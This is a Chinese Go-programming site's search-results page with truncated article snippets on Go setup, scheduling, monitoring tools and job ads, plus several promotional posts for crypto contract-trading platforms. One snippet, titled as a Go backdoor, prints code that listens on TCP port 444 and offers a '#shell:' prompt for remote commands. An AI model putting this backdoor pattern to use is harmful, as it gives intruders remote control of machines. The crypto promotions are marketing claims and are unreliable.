Go语言中文网 为您找到相关结果 195

一.Go安装和工作目录的配置

1.下载地址 https://golang.org/dl/ 这里下载windowsx64.msi文件 正常的exe文件在windows下安装就可以了。 2.基本配置说明 Paste_Image.png GOARCH-架构 GOBIN 工作目录下的详情文件夹 GOEXE 生成可执行文件的后缀 HOST 交叉编译系统 HOSTARCH 交叉编译的CPUOS 当前系统的系统名称PATH 工作目录ROOT 安装目录 工作目录下的结构bin(存放编译后生成的可执行文件)pkg(存放编译后生成的包文件)src(存放项目源码) GOPATH目录配置到计算机的环境变量中添加 Paste_Image.png 多个的话用;分...阅读全文

可视化系统监控工具 Cloudinsight Agent

![image](http://static.oschina.net/uploads/img/201610/18113759_OZtU.jpg) 很高兴地宣布 Cloudinsight  Agent 在 BSD 开源协议下正式开源了。我们的工程师在开源前已将代码用 Golang 重写,更加清晰简洁,欢迎大家参与到  Cloudinsight Agent 的开发和迭代中来。 **为什么要用 Golang 重写和开源** [**Cloudinsight**](http://cloudinsight.oneapm.com/)**是一个可视化系统监控工具,能够对数据指标进行聚合、分组、过滤、 管理、计算;并提供团队协作功能,共同管理数据和报警事件。而这些的关键,正是 Cloudinsigh...阅读全文

Linux 平台下的漏洞扫描器Vuls

Vuls 是一款适用于 Linux / FreeBSD 的漏洞扫描程序,无代理,采用 golang 编写。 对于系统管理员来说,每天必须执行安全漏洞分析和软件更新都是一个负担。为避免生产环境宕机,系统管理员通常选择不使用软件包管理器提供的自动更新选项,而是手动执行更新。这会导致以下问题: 系统管理员必须不断注意NVD(National Vulnerability Database)或类似数据库中的新漏洞。 如果服务器中安装了大量软件,系统管理员可能无法监视所有软件。 执行分析以确定受新漏洞影响的服务器是昂贵的。在分析过程中可能会忽略服务器或两台服务器。 Vuls 是为解决上述问题而创建的工具。它具有以下特点: 通知用户与系统相关的漏洞。 通知受影响的服务器的用户。 自动执...阅读全文

公司编程竞赛之最长路径问题 — 从深度优先搜索算法到贪心算法,再到模拟退火算法

最近产品线举办了一个软件编程大赛,题目非常的有趣,就是在一个9 × 9的格子里,你要和另一个敌人PK,在PK的过程中,你可以吃格子里的果实来提升攻击力。每次可以往正上、正下、正左、正右、左上、左下、右上、右下八个方向走。每次要么连续吃果实要么连续走空白区域,且不能走重复的位置。初始状态如下图所示: ![](http://o7x0ygc3f.bkt.clouddn.com/%E6%9C%80%E9%95%BF%E8%B7%AF%E5%BE%84%E9%97%AE%E9%A2%98-5.png) 为了提升攻击力,我们需要尽可能地一次吃最多的果实,所以路线可以这样规划: ![](http://o7x0ygc3f.bkt.clouddn.com/%E6%9C%80%E9%95%BF...阅读全文

Golang - 调度剖析【第一部分】

简介 首先,Golang 调度器的设计和实现让我们的 Go 程序在多线程执行时效率更高,性能更好。这要归功于 Go 调度器与操作系统(OS)调度器的协同合作。不过在本篇文章中,多线程 Go 程序在设计和实现上是否与调度器的工作原理完全契合不是重点。重要的是对系统调度器和 Go 调度器,它们是如何正确地设计多线程程序,有一个全面且深入的理解。 本章多数内容将侧重于讨论调度器的高级机制和语义。我将展示一些细节,让你可以通过图像来理解它们是如何工作的,可以让你在写代码时做出更好的决策。因为原理和语义是必备的基础知识中的关键。 系统调度 操作系统调度器是一个复杂的程序。它们要考虑到运行时的硬件设计和设置,其中包括但不限于多处理器核心、CPU 缓存和 NUMA,只有考虑全面,调度器才能做到尽可能地高效...阅读全文

博文 2018-08-16 17:35:43 sxssxs

数字资产量化交易软件开发数字资产交易所搭建

数字资产量化交易软件开发数字资产交易所搭建 [本文由源中瑞涂先生编辑/量化交易软件开发搜索微信:ruiec999] 量化交易也可以称为自动化交易,它能极大地减少市场波动而带给投资者的情绪影响,有效的避免投资者在市场极度狂热或悲观的情况下做出非理性的投资决策。 量化交易,最初是用在股市上面的,后来随着数字资产的发展,很多人看到这块的商机,就把量化交易用于数字资产上面。数字资产交易所量化交易简单来说就是用程序代替人来决定。 利用计算机技术从庞大的历史数据中选出能带来超额收益的多种“大概率”事件以此来制定策略,从而减少投资臻绪波动的影响,避免在市场极度狂热或悲观的情况下作出非理性的投资决策。 经常有一些交易所用户容易被市场和情绪所影响判断,量化交易是用大数据分析制定策略,减少感性操作,减少操盘失误...阅读全文

非官方中文文档Promethues监控系统

## Prometheus 非官方中文手册 --- ### 目录 - 介绍 [总览](introduction/overview.md) [安装](introduction/install.md) [启动](introduction/get_started.md) [对比](introduction/comparison.md) [常见问题](introduction/questions.md) [路线图](introduction/roadmap.md) [学习媒介](introduction/media.md) [词汇](introduction/glossary.md) - ...阅读全文

将技术普惠进行到底,阿里云全网爆款最低30元/月

让天下没有难做的生意蜕变为如今的阿里巴巴,打造世界上最清洁的汽车让特斯拉成为人们都渴望拥有的座驾,为哈佛同学提供互相联系的网站造就了如今的Facebook……时至今日,在大量遭受“嘲笑”的想法创造了传奇的同时,我们也看到数之不尽“靠谱”的创新倒在了前行的路上。诚然,兑现想法需要太多的努力与机遇,然不积跬步无以至千里,为了促成更多创新,在这一年大计之时,阿里云特针对个人与企业推出3大“全网爆款”,从成本与技术两个方面助君打通前行路上的第一步,让想法不再只是一个想法。 活动地址:(http://click.aliyun.com/m/18483/) ![无标题.png](http://studygolang.qiniudn.com/170425/4afc3e07a6d6ee7fce45f...阅读全文

【互联网安全】阿里安全专家为你解读移动APP安全那些事

课程介绍 移动App是大家使用手机每天接触最多的东西,然而在移动APP开发中,由于一些开发工程师对安全的不重视,导致APP中出现漏洞风险,比如App被逆向、重打包,数据在存储或传输过程中泄露,系统漏洞被利用,逻辑漏洞被绕过等等。 本课程,阿里安全专家阿刻为你解读移动App安全那些事。 课程列表 • 课时1:移动APP风险现状 • 课时2:常见APP风险及检测 • 课时3:阿里在移动APP安全上的解决方案 开始学习:http://click.aliyun.com/m/27939/ ...阅读全文

Go 开发的跨平台 GameBoy 模拟器GoBoy

GoBoy 是一款跨平台的 Nintendo GameBoy 和 GameBoy Color 模拟器。模拟器可以运行大多数 GB 游戏和一些 CGB 游戏。此外,还提供对颜色和声音的支持。![image](https://static.oschina.net/uploads/space/2018/1123/182821_AK5D_2720166.jpg) ![image](https://static.oschina.net/uploads/space/2018/1123/183202_luzB_2720166.png...阅读全文

开源项目 2018-12-05 09:30:01 网友

【互联网安全】关于移动APP漏洞风险,阿里送你解决方案

课程介绍 移动App是大家使用手机每天接触最多的东西,然而在移动APP开发中,由于一些开发工程师对安全的不重视,导致APP中出现漏洞风险,比如App被逆向、重打包,数据在存储或传输过程中泄露,系统漏洞被利用,逻辑漏洞被绕过等等。 本课程,阿里安全专家阿刻为你解读移动App安全那些事。 课程列表 • 课时1:移动APP风险现状 • 课时2:常见APP风险及检测 • 课时3:阿里在移动APP安全上的解决方案 阅读原文http://click.aliyun.com/m/27939/ ...阅读全文

价值超5万的撮合引擎:开篇

前言 自从有人在微信群里开价5万求购Golang版的撮合引擎之后,我就想自己开发一款,毕竟,以我的经验来说,开发个高性能的撮合引擎并没什么难度。 说干就干,于是,利用业余时间慢慢开发出了一款Golang版的高性能撮合引擎,前前后后花了大概一个月的时间。再想想自己好久没更新文章了,我的个人IP都已经生锈了,也应该发大招磨一磨了。因此决定,干脆就以连载的方式,分享下我是如何设计与实现这款价值超5万的撮合引擎的。 本来,想发成掘金小册,收点稿费,毕竟这是个具有很大商业价值的软件,但问了掘金的人员,他们目前不接收这类主题。最终决定免费发布,还可以多发几个渠道,说不定还能给我多带来些关注量。 好了,下面开始进入撮合引擎系列的正题。 撮合引擎简介 撮合引擎是所有撮合交易系统的核心组件,不管是股票交易系统...阅读全文

博文 2019-11-17 11:04:17 Keegan小钢

go 1.4支持Android的说明(译文)

https://docs.google.com/document/d/1N3XyVkAP8nmWjASz8L_OjjnjVKxgeVBjIsTr5qIUcA4/edit?pli=1 摘要 我们计划为Android平台引入GO支持。我们会关注于对用GO来开发游戏提供支持。 背景 Android是为了运行APP而设计的操作系统。一个app依赖于更多的平台库和服务(比传统Unix操作系统),这意味着如果没有新的API,Android上的GO运行时的一个端口,那将不会有多大用处。 提供一个Android平台的等价的GO是难以避免的。平台是用java写的,有很多的api接口。任何用GO来封装封装这些API的尝试都会得到一个不好的结果:手动编译封装会跟不上特色,自动生成封装会导致丑陋的GO。无论哪种方法...阅读全文

博文 2014-12-11 22:00:06 itfanr

虚拟币永续合约交易平台开发,助您引领数币交易新方向

随着数字货币期货的快速发展,广大用户看到了期货合约可以套期保值这一优势,并大力投身于合约交易之中。针对于资产量较大的用户来说,传统的周合约、季度合约已经满足不了他们的需求,永续合约不需要交割的特点更人性化,且永续合约结算快,有效提升了市场活跃度,也加大了投资者风险对冲、套期保值的机会。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。一、系统角色 二、交易流程 三、K线来源交易主要依靠外部交易所大盘行情进行交易 四、合约模型设计► 交易方式:市价交易、限价交易► 合约周期:无定时交割时间,用户可自由选择交割时间► 隔夜费设置:用户购买每超过24小时则...阅读全文

博文 2019-06-13 13:32:44 快乐的蒸饺

六大下一代Docker监测工具

![alt 文本](http://blog.tenxcloud.com/wp-content/uploads/2015/09/docker%E7%9B%91%E6%B5%8B%E5%B7%A5%E5%85%B7-300x227.jpg ) 容器:这里面什么才是最重要的?container monitoring,一项可以帮助你了解容器内发生什么以及让你获得某种支持的技术,随着Docker自身的monitoring 和 introspection技术API的成熟,已经有最新一波的容器监测技术利用到它们。 以下列举6个Docker相关的监测App和服务,从简单的开源工具到复杂的企业整体解决方案。 ## cAdvisor 谷歌的container introspection...阅读全文

ubuntu上golang1.5.1安装

如果从golang1.5.1源码安装go的话,需要系统上go1.4的支持,也就是说安装go1.5之前需要先安装go1.4。另外,安装go1.4时,编译的时间也会因系统配置的不同而编译时间不同,于是索性下了golang1.5.1编译后的可执行文件包:go1.5.1.linux-amd64.tar.gz。 部署如下: 1.解压: root@ubuntu:/usr/local# tar -xzvf go1.5.1.linux-amd64.tar.gz 2. /etc/profile文件最后添加如下内容: export GOROOT=/usr/local/go export GOPATH=/home/tjy/go-ws export PATH=$GOROOT/bin:$GOPATH/bin:$PAT...阅读全文

互融云数字货币永续合约交易系统开发

合约交易是从数字货币行情大跌之后,成为越来越多人喜欢使用的一种数币投资手段。在近期比特币大涨的情况下,投资者面对市场不明以及比特币越长越高的投资成本,使得大家变得畏畏缩缩。这时,合约交易的出现,成为了一匹大家争相追逐的黑马,它直接跳过数字货币持有实物这一环节,针对数字货币未来的涨跌进行下注,通过合约杠杆放大投资收益。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。 互融云数字货币永续合约交易系统介绍:1)合约模型设计交易方式:市价交易、限价交易合约周期:无定时交割时间,用户可自由选择交割时间隔夜费设置:用户购买每超过24小时则会收取隔夜费合约单位:...阅读全文

博文 2019-08-02 21:32:42 互融云软件

招聘招聘~靠谱公司招募Golang工程师~搭建Dokcer私有云。

职位描述 1. 基于上百PB级别的大数据平台,保障系统24×7稳定运行; 2. 和架构团队一起持续优化线上系统,并进行前瞻性容量规划; 3. 设计和实现数据业务线监控报警系统、自动构建部署系统、集群部署系统、数据资产管理系统等; 4. 积累并规范化系统运维的最佳实践并文档化; 5. 开发运维自动化工具,持续提升工作内容的自动化比例。 职位要求 1. 有至少1年的Linux系统使用和管理经验; 2. 熟悉至少1种关系型数据库(如MySQL、SQL Server等); 3. 熟悉常见应用配置及优化,如Nginx / MySQL/ DNS/ Postfix等; 4. 有1年以上Python或golang开发经验; 5. 了解...阅读全文

如何设计一个麻雀般的微型分布式架构?

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由mariolu 发表于云+社区专栏 序言(初衷) 设计该系统初衷是基于描绘业务(或机器集群)存储模型,分析代理缓存服务器磁盘存储与回源率的关系。系统意义是在腾讯云成本优化过程中,量化指导机房设备扩容。前半部分是介绍背景,对CDN缓存模型做一些理论思考。后半部分会实际操作搭建一个微型但是五脏俱全的分布式通用系统架构,最后赋予该系统一些跟背景相关的功能,解决成本优化中遇到的实际问题。 缓存服务器存储模型架构(背景): img 图1 存储模型 腾讯CDN的线上路由是用户à分布于各地区各运营商的OC->SOC->SMid->源站。各个层级节点部署的都是缓存服务器。来自用户的部分请求流量命中服务器,另一部分产生回源流量。 随着业务带宽自...阅读全文

博文 2018-09-06 19:34:39 腾讯云加社区

Go Hashmap内存布局和实现

想了解Go内置类型的内存布局的契机,是一次在调试“不同类型的小对象频繁创建对gc性能的影响”时发现map的gc性能不佳,而作为对比的包含slice的struct却很好。这里总结Go runtime里map的实现,可以解释这个问题。 hash table内部结构Go的map就是hashmap,源码在src/runtime/hashmap.go。对比C++用红黑树实现的map,Go的map是unordered map,即无法对key值排序遍历。跟传统的hashmap的实现方法一样,它通过一个buckets数组实现,所有元素被hash到数组的bucket中,buckets就是指向了这个内存连续分配的数组。B字段说明hash表大小是2的指数,即2^B。每次扩容会增加到上次大小的两倍,即2^(B+1)...阅读全文

博文 2017-12-18 13:58:29 nino's blog

比特挖矿系统开发源码模式,比特挖矿平台定制费用

云比特CBT虚拟币挖矿系统开发找蒙响:180-2851-8109,可电可微,云比特CBT系统技术开发,云比特CBT系统软件开发APP,云比特挖矿系统矿机模式开发,现成云比特系统开发,云比特矿机系统模式设计开发。 Solidity是新型的,就像Golang。2014年,Christian Reitwiessner和他的团队发布了这份报告。值得注意的是,在过去的两年里,由于各种各样的初创公司涌入市场,这个生态系统已经增长了数百倍。因此,Solidity拥有庞大的用户基础。其标准(ERC20)已成为行业的主要产品。 Solidity是OOP和面向联系的语言。Solidity的语法类似于JavaScript,但与C++和Python也有一些相似之处。尽管早期阶段,Solidity是一种函数语言,它提...阅读全文

博文 2019-05-22 17:34:41 bacuojiu

双轨制会员积分系统

简要的说:双轨制会员积分系统模拟分销,代理的逻辑相互推荐节点的产生1倍增2的原理。 奖金计算已经搞定,方便积分商城,分销融资系统二次开发和扩展。 演示地址:[http://124.173.125.140:2000](http://124.173.125.140:2000/) 用户名:15100000000 密码:123456 **开发和运行环境:** 具备linux系统环境: 安装好 nginx 修改 nginx.local.conf 中的静态文件指向 ( kingbloc.web ) 本地目录 mysql 数据库 redis 缓存工具 更改配置(.ini)文件数据库链接信息 开发语言:golang1.8+ ;数据库映射:XORM 消息系统:Nsq; 键值存储:Et...阅读全文

GO语言区块链交易系统开发工程师

岗位描述:GO语言区块链交易系统工程师 一:岗位要求 1. 逻辑能力强. 思维活跃,接受新事物能力强; 2. 性格开朗乐观,责任心强,积极主动,善于沟通,具有团队精神; 3. 具有较强的学习沟通和口头表达能力; 4. 熟悉开源项目,IBM Hyperledger. Ethereum. siacoin. bitcoin; 5. 熟悉golang语言,精通JAVA/Python/C++/Go/PHP/solidity等语言经验中至少两种编程语言或其他开发语言, 具有良好的编程习惯和风格 6. 熟悉区块链的原理. 技术. 熟悉加密技术. 可以用golang开发部分代码; 7. 有github开源项目. 熟悉开源项目流程. 有良好的英文阅读能力的优先。 8. 本科及以上学历,...阅读全文

弄懂goroutine调度原理

[原文地址:https://bingjian-zhu.github.io/2019/09/12/%E5%BC%84%E6%87%82goroutine%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86/](https://bingjian-zhu.github.io/2019/09/12/%E5%BC%84%E6%87%82goroutine%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86/) ### goroutine简介 >golang语言作者Rob Pike说,**“Goroutine是一个与其他goroutines 并发运行在同一地址空间的Go函数或方法。一个运行的程序由一个或更多个goroutine组成。它与线程、协程、进程等不同。它是...阅读全文

博文 2019-09-12 19:35:26 939496716

Go 在 Google I/O 2011 的视频

Google I/O 2011 的官方视频大部分都已经放出了。昨天 Golang 团队也发布了 Google I/O 2011 上关于 Go 的相关视频。 由于众所周知的原因,大家不能拜访“油吐伯”。所以视频我放到土豆上了。 大家看到的这个蓝色毛绒公仔叫“Gopher”,很有爱的 Golang 吉祥物,这次也出现在 Google I/O 2011 的现场。 不知道能不能搞到一个正版的。其实我严重怀疑这个来自悉尼的公仔是东莞产的……你们懂…… 用 Go 编写 Web 应用 演示文稿下载(英文) 这个演讲通过一步步开发并部署第一个 Go App Engine 应用:Moustachio,展示了 Go 版本的 App Engine 的应用开发。 Go 实例 演示文稿下载(英文) 这是在 I/O B...阅读全文

博文 2014-10-09 16:15:37 mikespook

上海证券交易所内部直招18K-30K招Go运维开发工程师

金融科技公司,中国资本力量需要你为Fintech 贡献力量。 在这里你可以尝试做新技术的尝试,例如区块链的交易技术,接触到核心竞价撮合系统,我们采用大量的开源系统来构筑交易监管环境 您将会参与到公司Paas类产品的前端及后端系统研发, 帮助我们构建一个高可用,高性能的系统。 负责云计算平台Web程序开发。 负责云计算产品API开发。 最后,我们痛恨"“勤劳”", 希望您也能一起来完善和改进我们的开发,测试,运维,运营等一系列自动化工具。 工作要求: 1. 精通Unix/Linux操作系统下的后台开发 2. 熟悉HTTP,TCP/IP等网络协议,熟悉网络编程 3. 熟练掌握数据库设计优化、缓存、负载均衡等技术; 4. 扎实的软件知识结构(操作系统、软件工程、设计模式...阅读全文

【钱旺】高薪诚聘IM后端架构师大牛加入(社交媒体)

职位描述: 负责公司核心IM(即时通信)系统服务器端模块设计、实现, 包括不限于消息底层编解码,大并发连接处理,语音通信,视频通信能力。 职位需求: - 4年以上相关工作经验,精通Go的语言特性以及后端系统架构 - 熟悉各种SQL、NoSQL数据库应用场景 - 有使用golang构建大型IM系统的经验,给公司当前im系统增加实时视频,实时语音等能力。 - 优异的沟通能力 高端大气上档次的办公环境,开放式办公,咖啡吧提供下午茶点心,五险一金待遇优厚,周末双休 公司地址:上海市静安区南京西路1266号恒隆广场一期58楼 有意向者,可将简历发送至xuejing@qbao.co...阅读全文

【云安全课程】云平台使用安全

课程介绍 阿里云大学Apsara Clouder云安全专项技能认证:云平台使用安全 您还在担心阿里云官网的帐号单凭密码登录不够安全?还在为服务代维时工程师的权限过大而产生风险?或者您作为系统管理员还在寻求一个完美的系统监控方案?也可能因为购买了不同批次的云资源导致续费工作太复杂,偶尔会导致数据丢失。通过这门精心设计的在线课程+动手实验,您可以轻松Get到这些技能。 云平台使用安全认证旨在帮助学员了解由传统IT到云计算架构的变迁过程、当前信息安全的现状和形势,以及在云计算时代不同系统架构中应该从哪些方面利用云平台的优势使用安全风险快速降低90%,特别是如何用好阿里云的帐户安全和云资源管理策略做好云上资产的安全管理,是企业上云的必备技能。 课时列表 • 免费 课时1...阅读全文

Golang 写的后门程序

package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 {...阅读全文

博文 2015-02-10 19:00:01 未来还没来

【云安全课程】云平台使用安全

课程介绍 阿里云大学Apsara Clouder云安全专项技能认证:云平台使用安全 您还在担心阿里云官网的帐号单凭密码登录不够安全?还在为服务代维时工程师的权限过大而产生风险?或者您作为系统管理员还在寻求一个完美的系统监控方案?也可能因为购买了不同批次的云资源导致续费工作太复杂,偶尔会导致数据丢失。通过这门精心设计的在线课程+动手实验,您可以轻松Get到这些技能。 云平台使用安全认证旨在帮助学员了解由传统IT到云计算架构的变迁过程、当前信息安全的现状和形势,以及在云计算时代不同系统架构中应该从哪些方面利用云平台的优势使用安全风险快速降低90%,特别是如何用好阿里云的帐户安全和云资源管理策略做好云上资产的安全管理,是企业上云的必备技能。 课时列表 • 免费 课时1...阅读全文

VirtualApi (CTP回测神器穿透式监管版本)Ver2.4重磅发布

官网: http://www.virtualapi.cn2019年6月14日开始实行穿透式监管了,CTP也升级了版本,本次VirtualApi的更新就是增加了对CTP穿透式新版本的支持。Ver2.4提供最新的CTP穿透式版本的VirtualApiVer2.3增加对查询投资者持仓响应OnRspQryInvestorPosition增加对查询资金账户响应OnRspQryTradingAccount回调支持Ver2.2功能升级Ver2.1修复了MD和TD资金数据同步的Bug增加配置文件setting.ini,可以通过修改setting.ini自由设置(1)初始资金(2)开仓手续费(3)平仓手续费(4)滑点Ver2.0修复在某些软硬件环境下回测的死锁问题Ver1.1~Ver1.9完善功能修复BugV...阅读全文

博文 2019-10-24 12:32:50 aside section._1OhGeD

撮合引擎开发:开篇

撮合引擎开发:开篇 撮合引擎开发:MVP版本 撮合引擎开发:数据结构设计 撮合引擎开发:对接黑箱 撮合引擎开发:解密黑箱流程 前言 自从有人在微信群里开价5万求购Golang版的撮合引擎之后,我就想自己开发一款,毕竟,以我的经验来说,开发个高性能的撮合引擎并没什么难度。 说干就干,于是,利用业余时间慢慢开发出了一款Golang版的高性能撮合引擎,前前后后花了大概一个月的时间。再想想自己好久没更新文章了,我的个人IP都已经生锈了,也应该发大招磨一磨了。因此决定,干脆就以连载的方式,分享下我是如何设计与实现这款价值超5万的撮合引擎的。 本来,想发成掘金小册,收点稿费,毕竟这是个具有很大商业价值的软件,但问了掘金的人员,他们目前不接收这类主题。最终决定免费发布,还可以多发几个渠道,说不定还能给我多...阅读全文

文件变更监听通知系统fileboy

fileboy,文件变更监听通知系统,使用 GO 编写。 适用于 Hot Reload (典型的如开发go项目,无需每次手动执行 go build;又比如前端 node 打包) 或者 系统监控的场景。 go version >=1.10 [正式版 v1.0](https://github.com/dengsgo/fileboy/releases) 直接下载已经编译好的对应平台二进制文件,加入系统 Path 中即可。 clone 该项目,进入主目录,运行命令: fileboy 的正常运行依赖于 `filegirl.yaml` 配置,所以首次在项目中使用需要初始化 `filegirl.yaml`。 进入你想要 hot reload 的项目主目录下; 运行 `fileboy ...阅读全文

Go语言开发工具 LiteIDE x10 发布

GO语言开发工具liteide x10发布,更新了GO调试插件。 LiteIDE项目: 操作系统: Windows / Linux x86 / Linux x86_64 / MacOS X 10.6 项目主页: http://code.google.com/p/golangide 项目源码 : http://code.google.com/p/liteide 讨论组: http://groups.google.com/group/liteide-dev 下载链接: http://code.google.com/p/golangide/downloads/list IDE基本特性: 以MimeType为基础构建的IDE环境变量管理和切换功能源码编译系统管理和切换功能简洁和开放的调试系统KATE...阅读全文

互融云数字货币永续合约交易系统开发

前几年比特币的崛起让数字货币这一概念走进了人们的视野,数字货币这一去中心化的新货币系统也在短短几年时间内凭借其特点席卷全球,而随着数字货币一起崛起的区块链技术也是水涨船高,对于数字货币和区块链可能很多人都是比较懵懂的状态,但是不少具有前瞻性思维的人已经在数字货币上吃到了甜头,这其中比较收人关注的就是数字货币交易系统。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。互融云数字货币永续合约交易系介绍1)合约模型设计交易方式:市价交易、限价交易合约周期:无定时交割时间,用户可自由选择交割时间隔夜费设置:用户购买每超过24小时则会收取隔夜费合约单位:手/张...阅读全文

博文 2019-08-27 13:32:48 互融云软件

互融云虚拟币永续合约交易-数字货币永续合约交易

互融云虚拟币永续合约交易-数字货币永续合约交易现在认识比特币价值的人越来越多了,反映到交易市场里面,可以开杠杆操作的合约交易最火。合约交易又分成交割合约和永续合约,前者是早期的玩法,后者是比较新的玩法。现在各大交易所都传出要开通自己合约交易功能的消息。全球领先数字资产交易平台OKEX不断创造着币圈一个又一个纪录,践行着自己安全、创新、可信赖的承诺。据了解,从2018年12月至4月底,OKEX永续合约上线4个月以来,OKEx合约总成交额达4500亿美金,单日最高成交额突破120亿美金,创行业之最。永续合约运行稳定,期间共上线BTC、LTC、ETH、XRP、EOS、BCH、TRX等九个币种,成交额突破350亿美金,并且实现全币种零分摊。随着数字货币期货的快速发展,广大用户看到了期货合约可以套期保...阅读全文

博文 2019-08-05 20:32:40 北京互融时代

互融云数字货币永续合约交易系统搭建-永续合约交易APP出售

互融云数字货币永续合约交易系统搭建-永续合约交易APP出售永续合约是一种不会进行最终交割的期货合约,目前的主要形式是滚动合约,当日结算并自动展期,并由多头向空投支付资金费用。互融云作为国内领先的数字资产交易所系统开发商,用实际行动践行着安全创新可信赖的理念,前进的脚步从不停歇。在合约产品上,凭借着深厚的底蕴经验加完美的交易机制,互融云合约交易系统已经成为企业手中必不可少的亮点产品,永续合约交易系统便是其中之一:1)系统特点经过多轮测试,保证了K线的稳定性永续合约采用的是springboot提供微服务,合约账户进行了加密,确保资金安全通过专用的golang脚本稳定高效的抓取和修复k线数据通过多线程和特有算法以及专用并发锁来快速及时的计算并分析风险率并进行相应的处理,保证平台的利益合约下单采用r...阅读全文

博文 2019-10-14 15:33:16 aside section ._1OhGeD

windows to go模式下的引导加密的win8系统修复

win8 X64 企业版,系统蓝屏提示“INACCESSABLE_BOOT_DEVICE”,,不想重装;安全模式也是进不去,所以就尝试用系统盘进行系统修复,但是在修复的时候提示说系统盘被加密,需要解锁之后才可以修复 于是就先: manage-bde -unlock -password c: 然后输入密码去解锁,然后要去除加密: manage-bde -off c: 提示解密进行中,然后就回来了,而不是显示进度条,我还以为完成了,于是就退出,结果修复还是提示未解锁 然后想起来应该用status看一下的,于是重新上述步骤;然后还是提示下解密进行中就结束 了,于是就: manage-bde -status 果然看到,还是“转换状态”是解密进行中,于是等待; 就是不知道直接用manage-bde a...阅读全文

博文 2016-01-26 22:00:03 a904254

用Go来编写分布式系统,相比用C/C++的好处

文链接:https://www.zhihu.com/question/27277398 Go 支持 Goroutine,超轻量级的线程。在高并发的系统中,可以按照多线程的方式写程序,从而保证逻辑的清晰和简单,又可以获得非常高的性能。 同样的事情在C++中,如果用多线程,会导致系统线程过多带来大量的上下文切换overhead;如果采用基于消息的架构,虽然可以获得较高的效率,但程序逻辑会被打散,可读性和可维护性较差。 此外,Go 有最强大的接口,从而可以放弃 C++ 的继承+虚方法覆盖的编程方式,对于复杂系统来说前者具有更好的可维护性...阅读全文

博文 2016-08-10 20:00:00 hellochenlu

分布式文件系统JuiceFS

## JuiceFS JuiceFS 是一款高性能 POSIX 文件系统,针对云原生环境特别优化设计,在 GNU Affero General Public License v3.0 开源协议下发布。使用 JuiceFS 存储数据,数据本身会被持久化在对象存储(例如,Amazon S3),而数据所对应的元数据可以根据场景需求被持久化在 Redis、MySQL、SQLite 等多种数据库引擎中。JuiceFS 可以简单便捷的将海量云存储直接接入已投入生产环境的大数据、机器学习、人工智能以及各种应用平台,无需修改代码即可像使用本地存储一样高效使用海量云端存储。 **项目地址**: https://github.com/juicedata/juicefs 📺 **视频**: [什...阅读全文

永续合约交易系统开发哪家强

沙僧推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。沙僧数字货币永续合约交易系介绍1)合约模型设计交易方式:市价交易、限价交易合约周期:无定时交割时间,用户可自由选择交割时间隔夜费设置:用户购买每超过24小时则会收取隔夜费 合约单位:手/张交易方向:看涨、看跌、双向交易保证金收取模式:固定保证金/百分比收取手续费设置:固定保证金/百分比收取交易方式:设置点差比例,在当前价的基础上浮动一定比例进行成交1)系统特点01经过多轮测试,保证了K线的稳定性02永续合约采用的是springboot提供微服务,合约账户进行了加密,确保资金安全03通过专用的golang...阅读全文

博文 2019-11-16 03:34:00 更多精彩内容互融云永续合约交易平台搭建-开发数字货币永续合约交易系统北京互融时代互融云开发虚拟币永续合约交易平台-搭建区块链永续合约交易系统北京互融时代互融云数字货币永续合约交易系统开发互融云软件互融云虚拟币智能永续合约交易系统开发-区块链智能永续合约平

DockOne微信分享( 八十九):恒生金融交易系统的Docker化实践

【编者的话】Docker可以显著改善企业软件研发流程、提升企业DevOps效率。借助Docker,企业可以对现有IT系统进行一次梳理,解决IT软件系统部署、升级难的顽疾,重新释放企业生产力,降低企业成本。本次分享介绍了恒生电子运用Docker技术,加上自研配套工具,实现金融交易系统配置、部署、运维自动化的心得,包括: Docker的优势以及我们为什么要使用Docker;恒生Docker运用现状;恒生金融交易系统的Docker化实践过程;恒生Docker未来规划。 Docker的优势随着Docker技术的日趋成熟和完善,越来越多的企业开始考虑使用Docker。Docker在开发、测试、运维部署方面已经展现了其巨大的优势,具有很强的生命力。能够极大的解决过去DevOps的弊病,提高效率,节约成本...阅读全文

博文 2017-06-25 16:25:20 游来游去